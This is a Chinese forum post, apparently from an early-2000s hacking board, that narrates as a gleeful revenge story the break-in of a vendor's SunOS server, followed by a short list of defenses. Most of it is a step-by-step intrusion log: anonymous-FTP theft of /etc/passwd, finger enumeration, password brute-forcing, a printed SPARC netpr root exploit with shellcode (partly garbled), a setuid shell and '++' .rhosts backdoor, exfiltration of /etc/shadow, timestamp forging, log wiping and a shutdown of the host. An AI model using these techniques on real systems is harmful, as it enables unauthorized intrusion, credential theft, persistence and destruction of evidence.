永远的FLASH
级别:刀光雪影版主 威望:3 经验:1 货币:5852 体力: 来源:江苏 总发帖数:2264 注册日期:2002-02-11 |
|
查看 邮件 主页 QQ 消息 引用 复制 下载
§.前言
这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。
§.Unix的特点
Unix能流行起来绝对不是偶然的,这跟Unix本身的特点之突出是分不开的特点,那就是:1、极强的可移植性;2、启动异步进程的能力;3、一致的文件、设备和进程间I/O;5、层次化的文件系统;6、可用其它Shell来替代默认Shell的能力;
7、真正的多用户和多任务。
列位注意,通常的Unix系统用户有两种:根用户和普通用户。
1.root——根用户
这是SuperUser(超级用户)的帐号,可以用这个帐号对本系统进行所有操作!获得对系统的根访问权限,也是黑客们拼命追求的终极目标。
2.普通用户
给User(普通用户)使用,具体权限由root分配的账户。可以有多个等级。黑客们多由此类账户开始试图进入系统,如下例就是如此。
§.攻击Unix系统的范例
先补了一些关于Unix的知识,下面我们要开始小试牛刀了。我们的攻击平台是一台安装了Redhat
6.0(内核版本2.2.5-15)的工作站(当然Win9x/Win2000上也可以试试啰!)。
声明:本文中的目标主机的IP分别是202.202.0.8、202.103.10.110和211.50.33.117,以上IP纯属本人杜撰。如该IP所属主机确实存在,则纯属巧合。
开始啦!
“又死机了!这是什么烂东西?可恶!”我愤怒地猛击键盘“还号称全智能化软件……给您‘身临其境的美妙体验’……,完全是放P!”我怒吼着。才买几天的英语学习软件就频频死机,而且花去了不菲的xxx大元人民币,使我有一种彻底受骗的感觉。“你这个骗子,我非要给你点厉害看看,看你还到处骗人!”我一边愤愤地叫着,一边抄下了包装盒上那个“骗子”软件公司的网址:www.shitsoft.com.cn
。当夜无话。
第二天。忙了一早上,直到中午吃完中餐后才闲下来,众人皆昏昏然欲见周公,我则坐到我的红帽子旁,开始了正义的惩罚……
首先找一台Proxy,这样就不会被反查法给抓到了。^_^ 不知原来那台韩国的“公鸡”还在不在?试一试:
bash# telnet 211.50.33.117 Red Hat Linux release 6.2
(Goozer) Kernel 2.2.14-5.0 on an i686 login:crossbow
password: bash$
Ok!
还可以用,这么长时间没有理它,竟然还可以用!韩国的管理员真是太“好”了!^_^ 接着ping一下我们的目标,看看它长得啥模样:
bash$ pwd /home/crossbow bash$ ping
www.shitsoft.com.cn Pinging www.shitsoft.com.cn [202.202.0.8]
with 32 bytes of data:
Reply from 202.202.0.8: bytes=32
time<10ms TTL=245 Reply from 202.202.0.8: bytes=32
time<10ms TTL=245 Reply from 202.202.0.8: bytes=32
time<10ms TTL=245 Reply from 202.202.0.8: bytes=32
time<10ms TTL=245
Ping statistics for 202.202.0.8:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds: Minimum =
0ms, Maximum = 0ms, Average = 0ms
速度不慢,看IP是中国教育网的机器,从TTL看估计是一台Unix。验证一下: bash$
telnet 202.202.0.8 SunOS 5.6 login:
呵呵,是一台SunOS
5.6的烂机器。先猜猜看:
login:adm password: Login incorrect
login racle password:
Login incorrect
login:ftp password: Login
incorrect
^C
可恶!今天火气真差!一个没猜到。:-(
用messala扫描一下看有没有CGI漏洞:(略去复杂的扫描过程)………… 结果是滴水不漏!:-( 这个鸟管理员还挺勤快的……
只好用nss看看它开了什么服务吧!…………还好,telnet、ftp和finger的端口都打开了!^_^ 先看看有没有匿名ftp账户:
bash$ ftp 202.202.0.8 Connected to 202.202.0.8...
220 Cool FTP server(Version xxx Tue Dec 8 12:42:10 CDT 2001)
ready. Name(202.202.0.8:FakeName):anonymous 331 Guest login
ok,send you complete e-mail address as password. Password:
230:Welcome,archive user! ………… ………… ………… ftp>
还行,匿名ftp服务没有关,竟然可以用anonymous账户进来了!赶紧抓他的passwd:
ftp>ls ………… bin boot etc dev home lib usr proc
lost+found root sbin src tmp usr var ………… ftp>cd /etc
………… ftp>ls *passwd* ………… passwd passwd- …………
不会如此简单吧?看一看?:
ftp>cat passwd|more …………
root:x:0:1 uper-User:/:/sbin/sh
daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm: telnet:x:71:8:Line Printer
Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/: noaccess:x:60002:60002:No Access
User:/: nobody:x:65534:65534 unOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh
…………
倒霉,是个空的passwd!看看备份:
ftp>cat passwd-|more
………… root:x:0:1 uper-User:/:/sbin/sh
daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm: telnet:x:71:8:Line Printer
Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp
Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
ftp:60001:60001:Ftp:/: noaccess:x:60002:60002:No Access
User:/: nobody :x:65534:65534 unOS 4.x Nobody:/:
dennis:x:1005:20::/export/home/dennis:/bin/sh
walter:x:1001:100::/export/home/walter:/bin/sh
power:x:9589:101::/export/home/power:/bin/sh
deal:x:1035:20::/export/home/deal:/bin/sh
jessica:x:3000:300:Agent Client 1:/export/home/jessica:/bin/sh
smith:x:3001:300:Agent Client 2:/export/home/smith:/bin/sh
render:x:9591:101::/export/home/render:/bin/sh
…………
没救了,一样的!查查看有没有shadow文件: ftp>ls *shadow*
………… shadow shadow- …………
哈哈,一般passwd是空的,那么密码就在shadow中!
ftp>cat
shadow|more ………… [sh$ cat shadow|more]: Permission denied
…………
可恶,看都不让看,试试备份文件:
ftp>cat shadow-|more
………… [sh$ cat shadow-|more]: Permission denied …………
都一样——不让看!Faint! 只好可怜惜惜地把空passwd抓回来——有几个用户名总比没有强吧?
ftp>get passwd 226 Transfer complete. 540 bytes
received in 0.55 seconds (1.8Kbytes/s) ftp>bye 221
Goodbye. bash$
研究一下,除去root和被关掉的账号,还有七个可用账号:dennis、walter、power、deal、jessica、smith和render,他们就是我们进入该主机最后的希望。^_^
finger上场!
bash$ finger @202.202.0.8 [202.202.0.8 ]
Login Name TTY Idle When Where
daemon ??? < . . . . > bin
??? < . . . . > sys ???
< . . . . > walter Walter Wan pts/0 202.202.0.114
dennis Dennis Lee 437 888wnet.net power Power
Xiong 0 202.202.0.10 deal H Wang
pts/2 202.202.0.11 admin ??? < . . . .
> jessica Jessica Xiao pts/0 202.202.0.9
smith Smith Liu pts/0 202.202.0.13 render
Render pts/0 202.103.10.117 ftp
??? < . . . . >
好!我需要的Name出来了,赶快保存:
bash$ finger @202.202.0.8 >> /home/crossbow/name.lst
bash$ more /home/crossbow/name.lst [202.202.0.8 ]
Login Name TTY Idle When Where daemon
??? < . . . . > bin ??? <
. . . . > sys ??? < . . . . >
walter Walter Wan pts/0 202.202.0.114
dennis Dennis Lee 437 888wnet.net power Power
Xiong 0 202.202.0.10 deal H Wang
pts/2 202.202.0.11 admin ??? pts/0 < . . .
. > jessica Jessica Xiao pts/0 202.202.0.9
smith Smith Liu pts/0 202.202.0.13 render Render
Chen 0 202.103.10.117 ftp ??? < . .
. . >
由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序——got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^
不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志“加工”一下。它的用法是:got! -n 用户的姓
目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。 bash$ got! -n wan 202.202.0.8
walter Attempting...
N分钟以后…………
Failed!
bash$
见鬼!失败了一个,再试下一个:
bash$ got! -n lee
202.202.0.8 dennis Attempting... Failed! bash$
再次失败,已经浪费了不少时间了!:-(“失败是成功之母”,不要灰心,接着来:
bash$ got!
-n xiong 202.202.0.8 Power Attempting... Bingo!!! The
password of user 'power' is 'xiong99'! Good luck! bash$
哈哈,得手了!终于搞到一个账户了——用户名:power;密码:xiong99。赶快用telnet吧!
bash$ telnet 202.202.0.8 SunOS 5.6 login ower password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10
Sun Microsystems Inc. SunOS 5.6 You have mail.
进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人:
$ w
13:07pm up 61 day(s), 3 users, ………… User tty login@ idle
JCPU PCPU what
root pts/0 11:49am tail -f syslog smith
pts/5 12:13pmls -l *.c power pts/7 13:07pm w
乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节:
$ uname -a
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10
在看看这个用户的环境设置:
$ set HOME=/export/home/power
HZ=100 IFS= LOGNAME=power MAIL=/var/mail/power
MAILCHECK=600 OPTIND=1 PATH=/usr/bin: PS1=$
PS2=> SHELL=/bin/sh TERM=ansi TZ=China
再看看有没有gcc,没有这玩艺,那就……@#$%^&*!
$ gcc gcc: No
input files.
不错,编译器还“健在”,没被删掉。现在,我们就开始溢出吧!^_^ $ cd
$ pwd $ /export/home/power $ mkdir ... $ cd ...
$ vi ./.of.c
file://Here is the C source code for
overflow in SunOS. #include #include #include
#include #include
#define NOPNUM 4000 #define
ADRNUM 1200 #define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add
%o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10"
/* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */ "\x91\xd0\x20\x08" /*
ta 8 */ "/bin/ksh";
char jump[]= "\x81\xc3\xe0\x08"
/* jmp %o7+8 */ "\x90\x10\x00\x0e"; /* mov %sp,%o0 */
static char nop[]="\x80\x1c\x40\x11"; main(int argc,char
**argv) { char buffer[10000],adr[4],*b,*envp[2]; int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland
file://lsd-pl.net/\n"); printf("/usr/lib/lp/bin/netpr solaris
2.7 sparc\n\n"); if(argc==1) { printf("usage: %s
lpserver\n",argv[0]); exit(-1); } *((unsigned
long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;
envp[0]=&buffer[0]; envp[1]=0; b=&buffer[0];
sprintf(b,"xxx="); b+=4;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
b=&buffer[5000];
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp); }
上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。接着输入一大串代码,最后按:wq保存并退出vi。我们看看源代码是否生成了:
$ ls -al
total 1330 drw-rw-rw- 7 power user 1999
Jul 4 19:07 . drw-r--r-- 35 root root 1999 Jun 29 16:52 ..
-rw-rw-r-- 1 power user 2001 Dec 8 13:15 .of.c
Ok!
现在编译链接吧!^_^
$ gcc -o .of .of.c .of.c:17: malFORMed
floating constant .of.c:18: malFORMed floating constant
.of.c:23: nondigits in number and not hexadecimal …………
………… gcc $ Error 2 $] $
???怎么出错了?!估计是有地方敲错了。只好先用gdb调试,再用vi来修改了,真麻烦!(略去调试过程)…………终于改完了,编译试一试:
$ gcc -o .of .of.c $
幸好没出错。Run一下啰…………别慌!看看root还在不在:
$ w 13:31pm up
61 day(s), 1 user, ………… User tty login@ idle JCPU PCPU what
power pts/7 13:07pm w
就我一个人了?估计忙了一早上,他们肯定饿坏了,都去吃饭去了吧!^_^
$ ./.of
usage: ./.of lpserver $ ./of localhost #
哈哈!成功了!看见提示符变成“#”没有?这就是root的特权标志!
# whoami
root #
没错了!哈哈!开始我们的“工作”吧:^_^
# rm -fr
./.of.c # mkdir /usr/man/man1/... # cp /bin/ksh
/usr/man/man1/.../.zsh # chmod +s /usr/man/man1/.../.zsh
首先删掉了源代码文件,然后在/usr/man/man1/下建立一个隐藏目录“...”,把ksh这个shell拷过去隐藏起来,并把属性改成-rwsr-sr--。这是个简单的后门,下次我一进来执行它就可以root了,省时省力。^_^
# cd .. # cd .. # pwd /export/home # ls
dennis walter power deal jessica smith render # cd render
# echo '++' >./.rhosts # ls -l ………… .rhosts …………
#
好,又在render的home里建了一个可以远程登陆的后门。下面把这台主机的shadow传回去,以后可以用John多跑一些密码出来:^_^
# cp /etc/shadow /export/home/power/.../.s # chmod 666
/export/home/power/.../.s # exit $ exit bash$ bash$
ftp 202.202.0.8 Connected to 202.202.0.8... 220 Cool FTP
server(Version xxx Tue Dec 8 12:42:10 CDT 2001) ready.
Name(202.202.0.8:FakeName) ower 331 Guest
login ok,send you complete e-mail address as password. Password:
230:Welcome,power! ………… ………… ………… ftp>ls
ftp>cd ... ftp>ls -l ………… .zsh .s …………
ftp>get .s 226 Transfer complete. 540 bytes received
in 0.55 seconds (1.8Kbytes/s) ftp>bye 221 Goodbye.
bash$
顺利地get回来了。再次登陆之:
bash$ telnet
202.202.0.8 SunOS 5.6 login ower password:
Last login: Mon Dec 8 13:21:15 CDT 2001 from 211.50.33.117
Sun Microsystems Inc. SunOS 5.6 $ /usr/man/man1/.../.zsh
# whoami root #
利用刚才作的后门,轻松得到root。别忘了用touch给每个你动过的文件改时间,以免被管理员发现文件被动过!BTW:touch的用法是:touch
-t 200112081314 目标文件。然后我们用power的身份telnet一下自己,免得被power下次登陆一下就发现IP有问题:
# telnet localhost Trying 127.0.0.1... Connected to
localhost. Escape character is '^]'. SunOS 5.6 login:
power Password: Last login: Mon Dec 8 13:21:55 CDT 2001 from
202.202.0.8 Sun Microsystems Inc. SunOS 5.6 Generic August 1997
You have mail. $ exit Connection closed by foreign host.
#
下面我们要“擦脚印”了,一般需要我们擦的日志有如下几个:
lastlog、utmp(utmpx)、wtmp(wtmpx)、messages、syslog和sulog。你可以用vi手动删除,不过我“好心”告诉你,手动一条条地删太麻烦,这里我们使用一个perl写的脚本cleaner.sh,它可以帮我们把PP擦得干干净净
^_^(这里略去如何将cleaner.sh用ftp传上来,并隐藏起来的步骤):
chmod +x
./cleaner.sh #./cleaner.sh power Log cleaner v0.5b By:
Tragedy/Dor OS detection.... Detected SunOS Log cleaning
in process.... * Cleaning aculog ( 0 lines)...0 lines removed!
* Cleaning lastlog ( 19789 lines)...45 lines removed! *
Cleaning messages ( 12 lines)...1 lines removed! * Cleaning
messages.0 ( 12 lines)...0 lines removed! * Cleaning messages.1
( 28 lines)...0 lines removed! * Cleaning messages.2 ( 38
lines)...0 lines removed! * Cleaning messages.3 ( 17 lines)...0
lines removed! * Cleaning spellhist ( 0 lines)...0 lines
removed! * Cleaning sulog ( 986 lines)...6 lines removed! *
Cleaning utmp ( 179 lines)...1 lines removed! * Cleaning utmpx (
387 lines)...1 lines removed! * Cleaning vold.log ( 0 lines)...0
lines removed! * Cleaning wtmp ( 299 lines)...0 lines removed!
* Cleaning wtmpx ( 565 lines)...0 lines removed! * Cleaning
authlog ( 0 lines)...0 lines removed! * Cleaning syslog ( 53
lines)...0 lines removed! * Cleaning syslog.0 ( 14 lines)...0
lines removed! * Cleaning syslog.1 ( 64 lines)...0 lines
removed! * Cleaning syslog.2 ( 39 lines)...0 lines removed!
* Cleaning syslog.3 ( 5 lines)...0 lines removed! * Cleaning
syslog.4 ( 3 lines)...0 lines removed! * Cleaning syslog.5 ( 210
lines)...0 lines removed! # ./cleaner.sh root …………
擦干净后再如法对root账户炮制一遍。最后……看了一下手表,哇!13:53了,又要上工了,:-(
以后再来消遣你吧!^_^ 现在,我要上工,你就好好休息啰!嘿嘿!
# /sbin/shutdown now
…………
关机啦!Wow!
§.讨论及防范措施
好了!我们从上面的例子可以看出,黑客的攻击步骤是如下六个步骤:
1.收集资料
2.取得普通用户的权限 3.远程登陆 4.取得超级用户的权限 5.留下后门
6.清除日志
其中最重要,也是最容易被管理员忽视的是第二个步骤。如果能够得到一个那怕是权限再小的账户,黑客也可以利用各种五花八门的漏洞来提升他的权限,并最终获得root。许多人认为只要对root账户加以注意就足够了,其实不然,如果黑客很容易地进入了主机,那他就会跳过root口令这一攻击难点,直接利用缓冲区溢出来root(如上面的例子就是这样)。因此,大家一定要注意对普通账户密码强度的测试和检查,并强令用户定期更改。
定期遍历磁盘检查.rhosts文件,这个后门十分危险,它可以直接不用口令而远程登陆。况且现在有不少的工具可以自动扫描这个漏洞,一旦发现一个,黑客们就会像苍蝇闻到血味一样蜂拥而至。如果他们像我一样的“善良”,只玩个shutdown还好说;碰到个把“辣手”黑客来个rm
-fr *,你的饭碗估计就会丢了!
定期检查属性为-rwsr-sr--的文件。这种文件只要一被user执行,他马上就会具有和该文件创造者一样的权限。如果创造者是root的话,结果可想而之。一般黑客们都将shell改成此类属性然后藏起来,便于下次利用。
不要过分相信日志,因为它很可能是被入侵者加过“工”的。注意留心某些启动时自动加载的文件的内容和时间,因为它们可能会被植入木马。如:/etc/rc.d/init.d/network,就是在网络服务启动时自动加载的。
使用MD5保护自己的二进制程序。MD5在发现/bin、/sbin等目录下的文件被替换时会报警或用Email通知管理员,这可以有效地防止假login、假su的诱骗。
使用getsniff和rootkit
detector等工具查找系统中是否有嗅探器和rootkit黑客工具包,尤其是rootkit,这玩艺危害无穷。
留心自己的CGI是否有漏洞,现在针对CGI漏洞的扫描工具特别多:如Unix/Linux平台下的messala和hunt等;Win9x/Win2000平台下的Twwwsacn和流光等等。尤其是流光,不论高手还是菜鸟都喜欢用它,真是一副老少皆宜的奇怪景观。^_^
如果不需要ftp服务,最好关掉它,开着只会后患无穷。黑客可以先将rootkit、特制的su,已修改过属性的shell放在他自己的ftp服务器上,得到普通账户后直接上传到你的机器上并执行之,他就root了。简单吧?
|